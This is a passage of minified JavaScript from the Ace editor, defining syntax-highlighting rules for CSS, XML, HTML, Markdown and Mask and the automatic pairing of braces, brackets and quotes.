pacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/markdown_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";function c(e,t){return{token:\"support.function\",regex:\"^\\\\s*```\"+e+\"\\\\s*$\",push:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./css_highlight_rules\").CssHighlightRules,l=function(e){return\"(?:[^\"+i.escapeRegExp(e)+\"\\\\\\\\]|\\\\\\\\.)*\"},h=function(){a.call(this),this.$rules.start.unshift({token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"markup.heading.1\",regex:\"^=+(?=\\\\s*$)\"},{token:\"markup.heading.2\",regex:\"^\\\\-+(?=\\\\s*$)\"},{token:function(e){return\"markup.heading.\"+e.length},regex:/^#{1,6}(?=\\s*[^ #]|\\s+#.)/,next:\"header\"},c(\"(?:javascript|js)\",\"jscode-\"),c(\"xml\",\"xmlcode-\"),c(\"html\",\"htmlcode-\"),c(\"css\",\"csscode-\"),{token:\"support.function\",regex:\"^\\\\s*```\\\\s*\\\\S*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{token:\"constant\",regex:\"^ {0,2}(?:(?: ?\\\\* ?){3,}|(?: ?\\\\- ?){3,}|(?: ?\\\\_ ?){3,})\\\\s*$\",next:\"allowBlock\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\"}),this.addRules({basic:[{token:\"constant.language.escape\",regex:/\\\\[\\\\`*_{}\\[\\]()#+\\-.!]/},{token:\"support.function\",regex:\"(`+)(.*?[^`])(\\\\1)\"},{token:[\"text\",\"constant\",\"text\",\"url\",\"string\",\"text\"],regex:'^([ ]{0,3}\\\\[)([^\\\\]]+)(\\\\]:\\\\s*)([^ ]+)(\\\\s*(?:[\"][^\"]+[\"])?(\\\\s*))$'},{token:[\"text\",\"string\",\"text\",\"constant\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]s*\\\\[)(\"+l(\"]\")+\")(\\\\])\"},{token:[\"text\",\"string\",\"text\",\"markup.underline\",\"string\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]\\\\()\"+'((?:[^\\\\)\\\\s\\\\\\\\]|\\\\\\\\.|\\\\s(?=[^\"]))*)'+'(\\\\s*\"'+l('\"')+'\"\\\\s*)?'+\"(\\\\))\"},{token:\"string.strong\",regex:\"([*]{2}|[_]{2}(?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:\"string.emphasis\",regex:\"([*]|[_](?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:[\"text\",\"url\",\"text\"],regex:\"(<)((?:https?|ftp|dict):[^'\\\">\\\\s]+|(?:mailto:)?[-.\\\\w]+\\\\@[-a-z0-9]+(?:\\\\.[-a-z0-9]+)*\\\\.[a-z]+)(>)\"}],allowBlock:[{token:\"support.function\",regex:\"^ {4}.+\",next:\"allowBlock\"},{token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"empty\",regex:\"\",next:\"start\"}],header:[{regex:\"$\",next:\"start\"},{include:\"basic\"},{defaultToken:\"heading\"}],\"listblock-start\":[{token:\"support.variable\",regex:/(?:\\[[ x]\\])?/,next:\"listblock\"}],listblock:[{token:\"empty_line\",regex:\"^$\",next:\"start\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\",noEscape:!0},{token:\"support.function\",regex:\"^\\\\s*```\\\\s*[a-zA-Z]*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{defaultToken:\"list\"}],blockquote:[{token:\"empty_line\",regex:\"^\\\\s*$\",next:\"start\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{include:\"basic\",noEscape:!0},{defaultToken:\"string.blockquote\"}],githubblock:[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"start\"},{token:\"support.function\",regex:\".+\"}]}),this.embedRules(o,\"jscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(a,\"htmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(f,\"csscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(u,\"xmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.normalizeRules()};r.inherits(h,s),t.MarkdownHighlightRules=h}),define(\"ace/mode/mask_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/css_highlight_rules\",\"ace/mode/markdown_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";function N(){function t(e,t,n){var r=\"js-\"+e+\"-\",i=e===\"block\"?[\"start\"]:[\"start\",\"no_regex\"];s(o,r,t,i,n)}function n(){s(u,\"css-block-\",/\\}/)}function r(){s(a,\"md-multiline-\",/(\"\"\"|''')/,[])}function i(){s(f,\"html-multiline-\",/(\"\"\"|''')/)}function s(t,n,r,i,s){var o=\"pop\",u=i||[\"start\"];u.length===0&&(u=null),/block|multiline/.test(n)&&(o=n+\"end\",e.$rules[o]=[k(\"empty\",\"\",\"start\")]),e.embedRules(t,n,[k(s||w,r,o)],u,u==null?!0:!1)}this.$rules={start:[k(\"comment\",\"\\\\/\\\\/.*$\"),k(\"comment\",\"\\\\/\\\\*\",[k(\"comment\",\".*?\\\\*\\\\/\",\"start\"),k(\"comment\",\".+\")]),C.string(\"'''\"),C.string('\"\"\"'),C.string('\"'),C.string(\"'\"),C.syntax(/(markdown|md)\\b/,\"md-multiline\",\"multiline\"),C.syntax(/html\\b/,\"html-multiline\",\"multiline\"),C.syntax(/(slot|event)\\b/,\"js-block\",\"block\"),C.syntax(/style\\b/,\"css-block\",\"block\"),C.syntax(/var\\b/,\"js-statement\",\"attr\"),C.tag(),k(b,\"[[({>]\"),k(w,\"[\\\\])};]\",\"start\"),{caseInsensitive:!0}]};var e=this;t(\"interpolation\",/\\]/,w+\".\"+g),t(\"statement\",/\\)|}|;/),t(\"block\",/\\}/),n(),r(),i(),this.normalizeRules()}function k(e,t,n){var r,i,s;return arguments.length===4?(r=n,i=arguments[3]):typeof n==\"string\"?i=n:r=n,typeof e==\"function\"&&(s=e,e=\"empty\"),{token:e,regex:t,push:r,next:i,onMatch:s}}t.MaskHighlightRules=N;var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./css_highlight_rules\").CssHighlightRules,a=e(\"./markdown_highlight_rules\").MarkdownHighlightRules,f=e(\"./html_highlight_rules\").HtmlHighlightRules,l=\"keyword.support.constant.language\",c=\"support.function.markup.bold\",h=\"keyword\",p=\"constant.language\",d=\"keyword.control.markup.italic\",v=\"support.variable.class\",m=\"keyword.operator\",g=\"markup.italic\",y=\"markup.bold\",b=\"paren.lparen\",w=\"paren.rparen\",E,S,x,T;(function(){E=i.arrayToMap(\"log\".split(\"|\")),x=i.arrayToMap(\":dualbind|:bind|:import|slot|event|style|html|markdown|md\".split(\"|\")),S=i.arrayToMap(\"debugger|define|var|if|each|for|of|else|switch|case|with|visible|+if|+each|+for|+switch|+with|+visible|include|import\".split(\"|\")),T=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\"))})(),r.inherits(N,s);var C={string:function(e,t){var n=k(\"string.start\",e,[k(b+\".\"+g,/~\\[/,C.interpolation()),k(\"string.end\",e,\"pop\"),{defaultToken:\"string\"}],t);if(e.length===1){var r=k(\"string.escape\",\"\\\\\\\\\"+e);n.push.unshift(r)}return n},interpolation:function(){return[k(d,/\\s*\\w*\\s*:/),\"js-interpolation-start\"]},tagHead:function(e){return k(v,e,[k(v,/[\\w\\-_]+/),k(b+\".\"+g,/~\\[/,C.interpolation()),C.goUp()])},tag:function(){return{token:\"tag\",onMatch:function(e){return void 0!==S[e]?h:void 0!==x[e]?p:void 0!==E[e]?\"support.function\":void 0!==T[e.toLowerCase()]?l:c},regex:/([@\\w\\-_:+]+)|((^|\\s)(?=\\s*(\\.|#)))/,push:[C.tagHead(/\\./),C.tagHead(/\\#/),C.expression(),C.attribute(),k(b,/[;>{]/,\"pop\")]}},syntax:function(e,t,n){return{token:p,regex:e,push:{attr:[t+\"-start\",k(m,/;/,\"start\")],multiline:[C.tagHead(/\\./),C.tagHead(/\\#/),C.attribute(),C.expression(),k(b,/[>\\{]/),k(m,/;/,\"start\"),k(b,/'''|\"\"\"/,[t+\"-start\"])],block:[C.tagHead(/\\./),C.tagHead(/\\#/),C.attribute(),C.expression(),k(b,/\\{/,[t+\"-start\"])]}[n]}},attribute:function(){return k(function(e){return/^x\\-/.test(e)?v+\".\"+y:v},/[\\w_-]+/,[k(m,/\\s*=\\s*/,[C.string('\"'),C.string(\"'\"),C.word(),C.goUp()]),C.goUp()])},expression:function(){return k(b,/\\(/,[\"js-statement-start\"])},word:function(){return k(\"string\",/[\\w-_]+/)},goUp:function(){return k(\"text\",\"\",\"pop\")},goStart:function(){return k(\"text\",\"\",\"start\")}}}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var 